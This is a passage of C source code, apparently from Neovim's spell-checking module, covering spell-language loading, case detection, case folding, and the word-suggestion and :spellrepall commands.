(slang = first_lang; slang != NULL; slang = slang->sl_next) { if (filename ? path_full_compare(lang, slang->sl_fname, false, true) == kEqualFiles : STRICMP(lang, slang->sl_name) == 0) { region_mask = REGION_ALL; if (!filename && region != NULL) { // find region in sl_regions c = find_region(slang->sl_regions, region); if (c == REGION_ALL) { if (slang->sl_add) { if (*slang->sl_regions != NUL) { // This addition file is for other regions. region_mask = 0; } } else { // This is probably an error. Give a warning and // accept the words anyway. smsg(_("Warning: region %s not supported"), region); } } else { region_mask = 1 << c; } } if (region_mask != 0) { langp_T *p_ = GA_APPEND_VIA_PTR(langp_T, &ga); p_->lp_slang = slang; p_->lp_region = region_mask; use_midword(slang, wp); if (slang->sl_nobreak) { nobreak = true; } } } } } // round 0: load int_wordlist, if possible. // round 1: load first name in 'spellfile'. // round 2: load second name in 'spellfile. // etc. spf = curwin->w_s->b_p_spf; for (round = 0; round == 0 || *spf != NUL; ++round) { if (round == 0) { // Internal wordlist, if there is one. if (int_wordlist == NULL) { continue; } int_wordlist_spl(spf_name); } else { // One entry in 'spellfile'. copy_option_part(&spf, spf_name, MAXPATHL - 5, ","); STRCAT(spf_name, ".spl"); // If it was already found above then skip it. for (c = 0; c < ga.ga_len; ++c) { p = LANGP_ENTRY(ga, c)->lp_slang->sl_fname; if (p != NULL && path_full_compare(spf_name, p, false, true) == kEqualFiles) { break; } } if (c < ga.ga_len) { continue; } } // Check if it was loaded already. for (slang = first_lang; slang != NULL; slang = slang->sl_next) { if (path_full_compare(spf_name, slang->sl_fname, false, true) == kEqualFiles) { break; } } if (slang == NULL) { // Not loaded, try loading it now. The language name includes the // region name, the region is ignored otherwise. for int_wordlist // use an arbitrary name. if (round == 0) { STRCPY(lang, "internal wordlist"); } else { STRLCPY(lang, path_tail(spf_name), MAXWLEN + 1); p = vim_strchr(lang, '.'); if (p != NULL) { *p = NUL; // truncate at ".encoding.add" } } slang = spell_load_file(spf_name, lang, NULL, true); // If one of the languages has NOBREAK we assume the addition // files also have this. if (slang != NULL && nobreak) { slang->sl_nobreak = true; } } if (slang != NULL) { region_mask = REGION_ALL; if (use_region != NULL && !dont_use_region) { // find region in sl_regions c = find_region(slang->sl_regions, use_region); if (c != REGION_ALL) { region_mask = 1 << c; } else if (*slang->sl_regions != NUL) { // This spell file is for other regions. region_mask = 0; } } if (region_mask != 0) { langp_T *p_ = GA_APPEND_VIA_PTR(langp_T, &ga); p_->lp_slang = slang; p_->lp_sallang = NULL; p_->lp_replang = NULL; p_->lp_region = region_mask; use_midword(slang, wp); } } } // Everything is fine, store the new b_langp value. ga_clear(&wp->w_s->b_langp); wp->w_s->b_langp = ga; // For each language figure out what language to use for sound folding and // REP items. If the language doesn't support it itself use another one // with the same name. E.g. for "en-math" use "en". for (int i = 0; i < ga.ga_len; ++i) { lp = LANGP_ENTRY(ga, i); // sound folding if (!GA_EMPTY(&lp->lp_slang->sl_sal)) { // language does sound folding itself lp->lp_sallang = lp->lp_slang; } else { // find first similar language that does sound folding for (int j = 0; j < ga.ga_len; ++j) { lp2 = LANGP_ENTRY(ga, j); if (!GA_EMPTY(&lp2->lp_slang->sl_sal) && STRNCMP(lp->lp_slang->sl_name, lp2->lp_slang->sl_name, 2) == 0) { lp->lp_sallang = lp2->lp_slang; break; } } } // REP items if (!GA_EMPTY(&lp->lp_slang->sl_rep)) { // language has REP items itself lp->lp_replang = lp->lp_slang; } else { // find first similar language that has REP items for (int j = 0; j < ga.ga_len; ++j) { lp2 = LANGP_ENTRY(ga, j); if (!GA_EMPTY(&lp2->lp_slang->sl_rep) && STRNCMP(lp->lp_slang->sl_name, lp2->lp_slang->sl_name, 2) == 0) { lp->lp_replang = lp2->lp_slang; break; } } } } theend: xfree(spl_copy); recursive = false; redraw_later(wp, NOT_VALID); return ret_msg; } // Clear the midword characters for buffer "buf". static void clear_midword(win_T *wp) { memset(wp->w_s->b_spell_ismw, 0, 256); XFREE_CLEAR(wp->w_s->b_spell_ismw_mb); } // Use the "sl_midword" field of language "lp" for buffer "buf". // They add up to any currently used midword characters. static void use_midword(slang_T *lp, win_T *wp) FUNC_ATTR_NONNULL_ALL { if (lp->sl_midword == NULL) { // there aren't any return; } for (char_u *p = lp->sl_midword; *p != NUL;) { const int c = utf_ptr2char(p); const int l = utfc_ptr2len(p); if (c < 256 && l <= 2) { wp->w_s->b_spell_ismw[c] = true; } else if (wp->w_s->b_spell_ismw_mb == NULL) { // First multi-byte char in "b_spell_ismw_mb". wp->w_s->b_spell_ismw_mb = vim_strnsave(p, l); } else { // Append multi-byte chars to "b_spell_ismw_mb". const int n = (int)STRLEN(wp->w_s->b_spell_ismw_mb); char_u *bp = vim_strnsave(wp->w_s->b_spell_ismw_mb, n + l); xfree(wp->w_s->b_spell_ismw_mb); wp->w_s->b_spell_ismw_mb = bp; STRLCPY(bp + n, p, l + 1); } p += l; } } // Find the region "region[2]" in "rp" (points to "sl_regions"). // Each region is simply stored as the two characters of its name. // Returns the index if found (first is 0), REGION_ALL if not found. static int find_region(char_u *rp, char_u *region) { int i; for (i = 0;; i += 2) { if (rp[i] == NUL) { return REGION_ALL; } if (rp[i] == region[0] && rp[i + 1] == region[1]) { break; } } return i / 2; } /// Return case type of word: /// w word 0 /// Word WF_ONECAP /// W WORD WF_ALLCAP /// WoRd wOrd WF_KEEPCAP /// /// @param[in] word /// @param[in] end End of word or NULL for NUL delimited string /// /// @returns Case type of word int captype(char_u *word, char_u *end) FUNC_ATTR_NONNULL_ARG(1) { char_u *p; int firstcap; bool allcap; bool past_second = false; // past second word char // find first letter for (p = word; !spell_iswordp_nmw(p, curwin); MB_PTR_ADV(p)) { if (end == NULL ? *p == NUL : p >= end) { return 0; // only non-word characters, illegal word } } int c = mb_ptr2char_adv((const char_u **)&p); firstcap = allcap = SPELL_ISUPPER(c); // Need to check all letters to find a word with mixed upper/lower. // But a word with an upper char only at start is a ONECAP. for (; end == NULL ? *p != NUL : p < end; MB_PTR_ADV(p)) { if (spell_iswordp_nmw(p, curwin)) { c = utf_ptr2char(p); if (!SPELL_ISUPPER(c)) { // UUl -> KEEPCAP if (past_second && allcap) { return WF_KEEPCAP; } allcap = false; } else if (!allcap) { // UlU -> KEEPCAP return WF_KEEPCAP; } past_second = true; } } if (allcap) { return WF_ALLCAP; } if (firstcap) { return WF_ONECAP; } return 0; } // Like captype() but for a KEEPCAP word add ONECAP if the word starts with a // capital. So that make_case_word() can turn WOrd into Word. // Add ALLCAP for "WOrD". static int badword_captype(char_u *word, char_u *end) FUNC_ATTR_NONNULL_ALL { int flags = captype(word, end); int c; int l, u; bool first; char_u *p; if (flags & WF_KEEPCAP) { // Count the number of UPPER and lower case letters. l = u = 0; first = false; for (p = word; p < end; MB_PTR_ADV(p)) { c = utf_ptr2char(p); if (SPELL_ISUPPER(c)) { ++u; if (p == word) { first = true; } } else { ++l; } } // If there are more UPPER than lower case letters suggest an // ALLCAP word. Otherwise, if the first letter is UPPER then // suggest ONECAP. Exception: "ALl" most likely should be "All", // require three upper case letters. if (u > l && u > 2) { flags |= WF_ALLCAP; } else if (first) { flags |= WF_ONECAP; } if (u >= 2 && l >= 2) { // maCARONI maCAroni flags |= WF_MIXCAP; } } return flags; } // Delete the internal wordlist and its .spl file. void spell_delete_wordlist(void) { char_u fname[MAXPATHL] = { 0 }; if (int_wordlist != NULL) { os_remove((char *)int_wordlist); int_wordlist_spl(fname); os_remove((char *)fname); XFREE_CLEAR(int_wordlist); } } // Free all languages. void spell_free_all(void) { slang_T *slang; // Go through all buffers and handle 'spelllang'. <VN> FOR_ALL_BUFFERS(buf) { ga_clear(&buf->b_s.b_langp); } while (first_lang != NULL) { slang = first_lang; first_lang = slang->sl_next; slang_free(slang); } spell_delete_wordlist(); XFREE_CLEAR(repl_to); XFREE_CLEAR(repl_from); } // Clear all spelling tables and reload them. // Used after 'encoding' is set and when ":mkspell" was used. void spell_reload(void) { // Initialize the table for spell_iswordp(). init_spell_chartab(); // Unload all allocated memory. spell_free_all(); // Go through all buffers and handle 'spelllang'. FOR_ALL_WINDOWS_IN_TAB(wp, curtab) { // Only load the wordlists when 'spelllang' is set and there is a // window for this buffer in which 'spell' is set. if (*wp->w_s->b_p_spl != NUL) { if (wp->w_p_spell) { (void)did_set_spelllang(wp); break; } } } } // Opposite of offset2bytes(). // "pp" points to the bytes and is advanced over it. // Returns the offset. static int bytes2offset(char_u **pp) { char_u *p = *pp; int nr; int c; c = *p++; if ((c & 0x80) == 0x00) { // 1 byte nr = c - 1; } else if ((c & 0xc0) == 0x80) { // 2 bytes nr = (c & 0x3f) - 1; nr = nr * 255 + (*p++ - 1); } else if ((c & 0xe0) == 0xc0) { // 3 bytes nr = (c & 0x1f) - 1; nr = nr * 255 + (*p++ - 1); nr = nr * 255 + (*p++ - 1); } else { // 4 bytes nr = (c & 0x0f) - 1; nr = nr * 255 + (*p++ - 1); nr = nr * 255 + (*p++ - 1); nr = nr * 255 + (*p++ - 1); } *pp = p; return nr; } // Open a spell buffer. This is a nameless buffer that is not in the buffer // list and only contains text lines. Can use a swapfile to reduce memory // use. // Most other fields are invalid! Esp. watch out for string options being // NULL and there is no undo info. buf_T *open_spellbuf(void) { buf_T *buf = xcalloc(1, sizeof(buf_T)); buf->b_spell = true; buf->b_p_swf = true; // may create a swap file if (ml_open(buf) == FAIL) { ELOG("Error opening a new memline"); } ml_open_file(buf); // create swap file now return buf; } // Close the buffer used for spell info. void close_spellbuf(buf_T *buf) { if (buf != NULL) { ml_close(buf, TRUE); xfree(buf); } } // Init the chartab used for spelling for ASCII. void clear_spell_chartab(spelltab_T *sp) { int i; // Init everything to false. memset(sp->st_isw, false, sizeof(sp->st_isw)); memset(sp->st_isu, false, sizeof(sp->st_isu)); for (i = 0; i < 256; ++i) { sp->st_fold[i] = i; sp->st_upper[i] = i; } // We include digits. A word shouldn't start with a digit, but handling // that is done separately. for (i = '0'; i <= '9'; ++i) { sp->st_isw[i] = true; } for (i = 'A'; i <= 'Z'; ++i) { sp->st_isw[i] = true; sp->st_isu[i] = true; sp->st_fold[i] = i + 0x20; } for (i = 'a'; i <= 'z'; ++i) { sp->st_isw[i] = true; sp->st_upper[i] = i - 0x20; } } // Init the chartab used for spelling. Called once while starting up. // The default is to use isalpha(), but the spell file should define the word // characters to make it possible that 'encoding' differs from the current // locale. For utf-8 we don't use isalpha() but our own functions. void init_spell_chartab(void) { int i; did_set_spelltab = false; clear_spell_chartab(&spelltab); for (i = 128; i < 256; i++) { int f = utf_fold(i); int u = mb_toupper(i); spelltab.st_isu[i] = mb_isupper(i); spelltab.st_isw[i] = spelltab.st_isu[i] || mb_islower(i); // The folded/upper-cased value is different between latin1 and // utf8 for 0xb5, causing E763 for no good reason. Use the latin1 // value for utf-8 to avoid this. spelltab.st_fold[i] = (f < 256) ? f : i; spelltab.st_upper[i] = (u < 256) ? u : i; } } /// Returns true if "p" points to a word character. /// As a special case we see "midword" characters as word character when it is /// followed by a word character. This finds they'there but not 'they there'. /// Thus this only works properly when past the first character of the word. /// /// @param wp Buffer used. static bool spell_iswordp(const char_u *p, const win_T *wp) FUNC_ATTR_NONNULL_ALL { int c; const int l = utfc_ptr2len(p); const char_u *s = p; if (l == 1) { // be quick for ASCII if (wp->w_s->b_spell_ismw[*p]) { s = p + 1; // skip a mid-word character } } else { c = utf_ptr2char(p); if (c < 256 ? wp->w_s->b_spell_ismw[c] : (wp->w_s->b_spell_ismw_mb != NULL && vim_strchr(wp->w_s->b_spell_ismw_mb, c) != NULL)) { s = p + l; } } c = utf_ptr2char(s); if (c > 255) { return spell_mb_isword_class(mb_get_class(s), wp); } return spelltab.st_isw[c]; } // Returns true if "p" points to a word character. // Unlike spell_iswordp() this doesn't check for "midword" characters. bool spell_iswordp_nmw(const char_u *p, win_T *wp) { int c = utf_ptr2char(p); if (c > 255) { return spell_mb_isword_class(mb_get_class(p), wp); } return spelltab.st_isw[c]; } // Returns true if word class indicates a word character. // Only for characters above 255. // Unicode subscript and superscript are not considered word characters. // See also utf_class() in mbyte.c. static bool spell_mb_isword_class(int cl, const win_T *wp) FUNC_ATTR_PURE FUNC_ATTR_NONNULL_ALL FUNC_ATTR_WARN_UNUSED_RESULT { if (wp->w_s->b_cjk) { // East Asian characters are not considered word characters. return cl == 2 || cl == 0x2800; } return cl >= 2 && cl != 0x2070 && cl != 0x2080 && cl != 3; } // Returns true if "p" points to a word character. // Wide version of spell_iswordp(). static bool spell_iswordp_w(const int *p, const win_T *wp) FUNC_ATTR_NONNULL_ALL { const int *s; if (*p < 256 ? wp->w_s->b_spell_ismw[*p] : (wp->w_s->b_spell_ismw_mb != NULL && vim_strchr(wp->w_s->b_spell_ismw_mb, *p) != NULL)) { s = p + 1; } else { s = p; } if (*s > 255) { return spell_mb_isword_class(utf_class(*s), wp); } return spelltab.st_isw[*s]; } // Case-fold "str[len]" into "buf[buflen]". The result is NUL terminated. // Uses the character definitions from the .spl file. // When using a multi-byte 'encoding' the length may change! // Returns FAIL when something wrong. int spell_casefold(const win_T *wp, char_u *str, int len, char_u *buf, int buflen) FUNC_ATTR_NONNULL_ALL { if (len >= buflen) { buf[0] = NUL; return FAIL; // result will not fit } int outi = 0; // Fold one character at a time. for (char_u *p = str; p < str + len;) { if (outi + MB_MAXBYTES > buflen) { buf[outi] = NUL; return FAIL; } int c = mb_cptr2char_adv((const char_u **)&p); // Exception: greek capital sigma 0x03A3 folds to 0x03C3, except // when it is the last character in a word, then it folds to // 0x03C2. if (c == 0x03a3 || c == 0x03c2) { if (p == str + len || !spell_iswordp(p, wp)) { c = 0x03c2; } else { c = 0x03c3; } } else { c = SPELL_TOFOLD(c); } outi += utf_char2bytes(c, buf + outi); } buf[outi] = NUL; return OK; } // values for sps_flags #define SPS_BEST 1 #define SPS_FAST 2 #define SPS_DOUBLE 4 static int sps_flags = SPS_BEST; // flags from 'spellsuggest' static int sps_limit = 9999; // max nr of suggestions given // Check the 'spellsuggest' option. Return FAIL if it's wrong. // Sets "sps_flags" and "sps_limit". int spell_check_sps(void) { char_u *p; char_u *s; char_u buf[MAXPATHL]; int f; sps_flags = 0; sps_limit = 9999; for (p = p_sps; *p != NUL;) { copy_option_part(&p, buf, MAXPATHL, ","); f = 0; if (ascii_isdigit(*buf)) { s = buf; sps_limit = getdigits_int(&s, true, 0); if (*s != NUL && !ascii_isdigit(*s)) { f = -1; } } else if (STRCMP(buf, "best") == 0) { f = SPS_BEST; } else if (STRCMP(buf, "fast") == 0) { f = SPS_FAST; } else if (STRCMP(buf, "double") == 0) { f = SPS_DOUBLE; } else if (STRNCMP(buf, "expr:", 5) != 0 && STRNCMP(buf, "file:", 5) != 0) { f = -1; } if (f == -1 || (sps_flags != 0 && f != 0)) { sps_flags = SPS_BEST; sps_limit = 9999; return FAIL; } if (f != 0) { sps_flags = f; } } if (sps_flags == 0) { sps_flags = SPS_BEST; } return OK; } // "z=": Find badly spelled word under or after the cursor. // Give suggestions for the properly spelled word. // In Visual mode use the highlighted word as the bad word. // When "count" is non-zero use that suggestion. void spell_suggest(int count) { char_u *line; pos_T prev_cursor = curwin->w_cursor; char_u wcopy[MAXWLEN + 2]; char_u *p; int c; suginfo_T sug; suggest_T *stp; int mouse_used; int need_cap; int limit; int selected = count; int badlen = 0; int msg_scroll_save = msg_scroll; const int wo_spell_save = curwin->w_p_spell; if (!curwin->w_p_spell) { did_set_spelllang(curwin); curwin->w_p_spell = true; } if (*curwin->w_s->b_p_spl == NUL) { emsg(_(e_no_spell)); return; } if (VIsual_active) { // Use the Visually selected text as the bad word. But reject // a multi-line selection. if (curwin->w_cursor.lnum != VIsual.lnum) { vim_beep(BO_SPELL); return; } badlen = (int)curwin->w_cursor.col - (int)VIsual.col; if (badlen < 0) { badlen = -badlen; } else { curwin->w_cursor.col = VIsual.col; } badlen++; end_visual_mode(); } else // Find the start of the badly spelled word. if (spell_move_to(curwin, FORWARD, true, true, NULL) == 0 || curwin->w_cursor.col > prev_cursor.col) { // No bad word or it starts after the cursor: use the word under the // cursor. curwin->w_cursor = prev_cursor; line = get_cursor_line_ptr(); p = line + curwin->w_cursor.col; // Backup to before start of word. while (p > line && spell_iswordp_nmw(p, curwin)) { MB_PTR_BACK(line, p); } // Forward to start of word. while (*p != NUL && !spell_iswordp_nmw(p, curwin)) { MB_PTR_ADV(p); } if (!spell_iswordp_nmw(p, curwin)) { // No word found. beep_flush(); return; } curwin->w_cursor.col = (colnr_T)(p - line); } // Get the word and its length. // Figure out if the word should be capitalised. need_cap = check_need_cap(curwin->w_cursor.lnum, curwin->w_cursor.col); // Make a copy of current line since autocommands may free the line. line = vim_strsave(get_cursor_line_ptr()); // Get the list of suggestions. Limit to 'lines' - 2 or the number in // 'spellsuggest', whatever is smaller. if (sps_limit > Rows - 2) { limit = Rows - 2; } else { limit = sps_limit; } spell_find_suggest(line + curwin->w_cursor.col, badlen, &sug, limit, true, need_cap, true); if (GA_EMPTY(&sug.su_ga)) { msg(_("Sorry, no suggestions")); } else if (count > 0) { if (count > sug.su_ga.ga_len) { smsg(_("Sorry, only %" PRId64 " suggestions"), (int64_t)sug.su_ga.ga_len); } } else { // When 'rightleft' is set the list is drawn right-left. cmdmsg_rl = curwin->w_p_rl; if (cmdmsg_rl) { msg_col = Columns - 1; } // List the suggestions. msg_start(); msg_row = Rows - 1; // for when 'cmdheight' > 1 lines_left = Rows; // avoid more prompt vim_snprintf((char *)IObuff, IOSIZE, _("Change \"%.*s\" to:"), sug.su_badlen, sug.su_badptr); if (cmdmsg_rl && STRNCMP(IObuff, "Change", 6) == 0) { // And now the rabbit from the high hat: Avoid showing the // untranslated message rightleft. vim_snprintf((char *)IObuff, IOSIZE, ":ot \"%.*s\" egnahC", sug.su_badlen, sug.su_badptr); } msg_puts((const char *)IObuff); msg_clr_eos(); msg_putchar('\n'); msg_scroll = TRUE; for (int i = 0; i < sug.su_ga.ga_len; ++i) { stp = &SUG(sug.su_ga, i); // The suggested word may replace only part of the bad word, add // the not replaced part. STRLCPY(wcopy, stp->st_word, MAXWLEN + 1); if (sug.su_badlen > stp->st_orglen) { STRLCPY(wcopy + stp->st_wordlen, sug.su_badptr + stp->st_orglen, sug.su_badlen - stp->st_orglen + 1); } vim_snprintf((char *)IObuff, IOSIZE, "%2d", i + 1); if (cmdmsg_rl) { rl_mirror(IObuff); } msg_puts((const char *)IObuff); vim_snprintf((char *)IObuff, IOSIZE, " \"%s\"", wcopy); msg_puts((const char *)IObuff); // The word may replace more than "su_badlen". if (sug.su_badlen < stp->st_orglen) { vim_snprintf((char *)IObuff, IOSIZE, _(" < \"%.*s\""), stp->st_orglen, sug.su_badptr); msg_puts((const char *)IObuff); } if (p_verbose > 0) { // Add the score. if (sps_flags & (SPS_DOUBLE | SPS_BEST)) { vim_snprintf((char *)IObuff, IOSIZE, " (%s%d - %d)", stp->st_salscore ? "s " : "", stp->st_score, stp->st_altscore); } else { vim_snprintf((char *)IObuff, IOSIZE, " (%d)", stp->st_score); } if (cmdmsg_rl) { // Mirror the numbers, but keep the leading space. rl_mirror(IObuff + 1); } msg_advance(30); msg_puts((const char *)IObuff); } msg_putchar('\n'); } cmdmsg_rl = FALSE; msg_col = 0; // Ask for choice. selected = prompt_for_number(&mouse_used); if (ui_has(kUIMessages)) { ui_call_msg_clear(); } if (mouse_used) { selected -= lines_left; } lines_left = Rows; // avoid more prompt // don't delay for 'smd' in normal_cmd() msg_scroll = msg_scroll_save; } if (selected > 0 && selected <= sug.su_ga.ga_len && u_save_cursor() == OK) { // Save the from and to text for :spellrepall. XFREE_CLEAR(repl_from); XFREE_CLEAR(repl_to); stp = &SUG(sug.su_ga, selected - 1); if (sug.su_badlen > stp->st_orglen) { // Replacing less than "su_badlen", append the remainder to // repl_to. repl_from = vim_strnsave(sug.su_badptr, sug.su_badlen); vim_snprintf((char *)IObuff, IOSIZE, "%s%.*s", stp->st_word, sug.su_badlen - stp->st_orglen, sug.su_badptr + stp->st_orglen); repl_to = vim_strsave(IObuff); } else { // Replacing su_badlen or more, use the whole word. repl_from = vim_strnsave(sug.su_badptr, stp->st_orglen); repl_to = vim_strsave(stp->st_word); } // Replace the word. p = xmalloc(STRLEN(line) - stp->st_orglen + stp->st_wordlen + 1); c = (int)(sug.su_badptr - line); memmove(p, line, c); STRCPY(p + c, stp->st_word); STRCAT(p, sug.su_badptr + stp->st_orglen); // For redo we use a change-word command. ResetRedobuff(); AppendToRedobuff("ciw"); AppendToRedobuffLit(p + c, stp->st_wordlen + sug.su_badlen - stp->st_orglen); AppendCharToRedobuff(ESC); // "p" may be freed here ml_replace(curwin->w_cursor.lnum, p, false); curwin->w_cursor.col = c; changed_bytes(curwin->w_cursor.lnum, c); } else { curwin->w_cursor = prev_cursor; } spell_find_cleanup(&sug); xfree(line); curwin->w_p_spell = wo_spell_save; } // Check if the word at line "lnum" column "col" is required to start with a // capital. This uses 'spellcapcheck' of the current buffer. static bool check_need_cap(linenr_T lnum, colnr_T col) { bool need_cap = false; char_u *line; char_u *line_copy = NULL; char_u *p; colnr_T endcol; regmatch_T regmatch; if (curwin->w_s->b_cap_prog == NULL) { return false; } line = get_cursor_line_ptr(); endcol = 0; if (getwhitecols(line) >= (int)col) { // At start of line, check if previous line is empty or sentence // ends there. if (lnum == 1) { need_cap = true; } else { line = ml_get(lnum - 1); if (*skipwhite(line) == NUL) { need_cap = true; } else { // Append a space in place of the line break. line_copy = concat_str(line, (char_u *)" "); line = line_copy; endcol = (colnr_T)STRLEN(line); } } } else { endcol = col; } if (endcol > 0) { // Check if sentence ends before the bad word. regmatch.regprog = curwin->w_s->b_cap_prog; regmatch.rm_ic = FALSE; p = line + endcol; for (;;) { MB_PTR_BACK(line, p); if (p == line || spell_iswordp_nmw(p, curwin)) { break; } if (vim_regexec(&regmatch, p, 0) && regmatch.endp[0] == line + endcol) { need_cap = true; break; } } curwin->w_s->b_cap_prog = regmatch.regprog; } xfree(line_copy); return need_cap; } // ":spellrepall" void ex_spellrepall(exarg_T *eap) { pos_T pos = curwin->w_cursor; char_u *frompat; int addlen; char_u *line; char_u *p; bool save_ws = p_ws; linenr_T prev_lnum = 0; if (repl_from == NULL || repl_to == NULL) { emsg(_("E752: No previous spell replacement")); return; } addlen = (int)(STRLEN(repl_to) - STRLEN(repl_from)); frompat = xmalloc(STRLEN(repl_from) + 7); sprintf((char *)frompat, "\\V\\<%s\\>", repl_from); p_ws = false; sub_nsubs = 0; sub_nlines = 0; curwin->w_cursor.lnum = 0; while (!got_int) { if (do_search(NULL, '/', '/', frompat, 1L, SEARCH_KEEP, NULL) == 0 || u_save_cursor() == FAIL) { break; } // Only replace when the right word isn't there yet. This happens // when changing "etc" to "etc.". line = get_cursor_line_ptr(); if (addlen <= 0 || STRNCMP(line + curwin->w_cursor.col, repl_to, STRLEN(repl_to)) != 0) { p = xmalloc(STRLEN(line) + addlen + 1); memmove(p, line, curwin->w_cursor.col); STRCPY(p + curwin->w_cursor.col, repl_to); STRCAT(p, line + curwin->w_cursor.col + STRLEN(repl_from)); ml_replace(curwin->w_cursor.lnum, p, false); changed_bytes(curwin->w_cursor.lnum, curwin->w_cursor.col); if (curwin->w_cursor.lnum != prev_lnum) { ++sub_nlines; prev_lnum = curwin->w_cursor.lnum; } ++sub_nsubs; } curwin->w_cursor.col += (colnr_T)STRLEN(repl_to); } p_ws = save_ws; curwin->w_cursor = pos; xfree(frompat); if (sub_nsubs == 0) { semsg(_("E753: Not found: %s"), repl_from); } else { do_sub_msg(false); } } /// Find spell suggestions for "word". Return them in the growarray "*gap" as /// a list of allocated strings. /// /// @param maxcount maximum nr of suggestions /// @param need_cap 'spellcapcheck' matched void spell_suggest_list(garray_T *gap, char_u *word, int maxcount, bool need_cap, bool interactive) { suginfo_T sug; suggest_T *stp; char_u *wcopy; spell_find_suggest(word, 0, &sug, maxcount, false, need_cap, interactive); // Make room in "gap". ga_init(gap, sizeof(char_u *), sug.su_ga.ga_len + 1); ga_grow(gap, sug.su_ga.ga_len); for (int i = 0; i < sug.su_ga.ga_len; ++i) { stp = &SUG(sug.su_ga, i); // The suggested word may replace only part of "word", add the not // replaced part. wcopy = xmalloc(stp->st_wordlen + STRLEN(sug.su_badptr + stp->st_orglen) + 1); STRCPY(wcopy, stp->st_word); STRCPY(wcopy + stp->st_wordlen, sug.su_badptr + stp->st_orglen); ((char_u **)gap->ga_data)[gap->ga_len++] = wcopy; } spell_find_cleanup(&sug); } /// Find spell suggestions for the word at the start of "badptr". /// Return the suggestions in "su->su_ga". /// The maximum number of suggestions is "maxcount". /// Note: does use info for the current window. /// This is based on the mechanisms of Aspell, but completely reimplemented. /// /// @param badlen length of bad word or 0 if unknown /// @param banbadword don't include badword in suggestions /// @param need_cap word should start with capital static void spell_find_suggest(char_u *badptr, int badlen, suginfo_T *su, int maxcount, bool banbadword, bool need_cap, bool interactive) { hlf_T attr = HLF_COUNT; char_u buf[MAXPATHL]; char_u *p; bool do_combine = false; char_u *sps_copy; static bool expr_busy = false; int c; langp_T *lp; bool did_intern = false; // Set the info in "*su". memset(su, 0, sizeof(suginfo_T)); ga_init(&su->su_ga, (int)sizeof(suggest_T), 10); ga_init(&su->su_sga, (int)sizeof(suggest_T), 10); if (*badptr == NUL) { return; } hash_init(&su->su_banned); su->su_badptr = badptr; if (badlen != 0) { su->su_badlen = badlen; } else { size_t tmplen = spell_check(curwin, su->su_badptr, &attr, NULL, false); assert(tmplen <= INT_MAX); su->su_badlen = (int)tmplen; } su->su_maxcount = maxcount; su->su_maxscore = SCORE_MAXINIT; if (su->su_badlen >= MAXWLEN) { su->su_badlen = MAXWLEN - 1; // just in case } STRLCPY(su->su_badword, su->su_badptr, su->su_badlen + 1); (void)spell_casefold(curwin, su->su_badptr, su->su_badlen, su->su_fbadword, MAXWLEN); // TODO(vim): make this work if the case-folded text is longer than the // original text. Currently an illegal byte causes wrong pointer // computations. su->su_fbadword[su->su_badlen] = NUL; // get caps flags for bad word su->su_badflags = badword_captype(su->su_badptr, su->su_badptr + su->su_badlen); if (need_cap) { su->su_badflags |= WF_ONECAP; } // Find the default language for sound folding. We simply use the first // one in 'spelllang' that supports sound folding. That's good for when // using multiple files for one language, it's not that bad when mixing // languages (e.g., "pl,en"). for (int i = 0; i < curbuf->b_s.b_langp.ga_len; ++i) { lp = LANGP_ENTRY(curbuf->b_s.b_langp, i); if (lp->lp_sallang != NULL) { su->su_sallang = lp->lp_sallang; break; } } // Soundfold the bad word with the default sound folding, so that we don't // have to do this many times. if (su->su_sallang != NULL) { spell_soundfold(su->su_sallang, su->su_fbadword, true, su->su_sal_badword); } // If the word is not capitalised and spell_check() doesn't consider the // word to be bad then it might need to be capitalised. Add a suggestion // for that. c = utf_ptr2char(su->su_badptr); if (!SPELL_ISUPPER(c) && attr == HLF_COUNT) { make_case_word(su->su_badword, buf, WF_ONECAP); add_suggestion(su, &su->su_ga, buf, su->su_badlen, SCORE_ICASE, 0, true, su->su_sallang, false); } // Ban the bad word itself. It may appear in another region. if (banbadword) { add_banned(su, su->su_badword); } // Make a copy of 'spellsuggest', because the expression may change it. sps_copy = vim_strsave(p_sps); // Loop over the items in 'spellsuggest'. for (p = sps_copy; *p != NUL;) { copy_option_part(&p, buf, MAXPATHL, ","); if (STRNCMP(buf, "expr:", 5) == 0) { // Evaluate an expression. Skip this when called recursively, // when using spellsuggest() in the expression. if (!expr_busy) { expr_busy = true; spell_suggest_expr(su, buf + 5); expr_busy = false; } } else if (STRNCMP(buf, "file:", 5) == 0) { // Use list of suggestions in a file. spell_suggest_file(su, buf + 5); } else if (!did_intern) { // Use internal method once. spell_suggest_intern(su, interactive); if (sps_flags & SPS_DOUBLE) { do_combine = true; } did_intern = true; } } xfree(sps_copy); if (do_combine) { // Combine the two list of suggestions. This must be done last, // because sorting changes the order again. score_combine(su); } } // Find suggestions by evaluating expression "expr". static void spell_suggest_expr(suginfo_T *su, char_u *expr) { int score; const char *p; // The work is split up in a few parts to avoid having to export // suginfo_T. // First evaluate the expression and get the resulting list. list_T *const list = eval_spell_expr(su->su_badword, expr); if (list != NULL) { // Loop over the items in the list. TV_LIST_ITER(list, li, { if (TV_LIST_ITEM_TV(li)->v_type == VAR_LIST) { // Get the word and the score from the items. score = get_spellword(TV_LIST_ITEM_TV(li)->vval.v_list, &p); if (score >= 0 && score <= su->su_maxscore) { add_suggestion(su, &su->su_ga, (const char_u *)p, su->su_badlen, score, 0, true, su->su_sallang, false); } } }); tv_list_unref(list); } // Remove bogus suggestions, sort and truncate at "maxcount". check_suggestions(su, &su->su_ga); (void)cleanup_suggestions(&su->su_ga, su->su_maxscore, su->su_maxcount); } // Find suggestions in file "fname". Used for "file:" in 'spellsuggest'. static void spell_suggest_file(suginfo_T *su, char_u *fname) { FILE *fd; char_u line[MAXWLEN * 2]; char_u *p; int len; char_u cword[MAXWLEN]; // Open the file. fd = os_fopen((char *)fname, "r"); if (fd == NULL) { semsg(_(e_notopen), fname); return; } // Read it line by line. while (!vim_fgets(line, MAXWLEN * 2, fd) && !got_int) { line_breakcheck(); p = vim_strchr(line, '/'); if (p == NULL) { continue; // No Tab found, just skip the line. } *p++ = NUL; if (STRICMP(su->su_badword, line) == 0) { // Match! Isolate the good word, until CR or NL. for (len = 0; p[len] >= ' '; ++len) { } p[len] = NUL; // If the suggestion doesn't have specific case duplicate the case // of the bad word. if (captype(p, NULL) == 0) { make_case_word(p, cword, su->su_badflags); p = cword; } add_suggestion(su, &su->su_ga, p, su->su_badlen, SCORE_FILE, 0, true, su->su_sallang, false); } } fclose(fd); // Remove bogus suggestions, sort and truncate at "maxcount". check_suggestions(su, &su->su_ga); (void)cleanup_suggestions(&su->su_ga, su->su_maxscore, su->su_maxcount); } // Find suggestions for the internal method indicated by 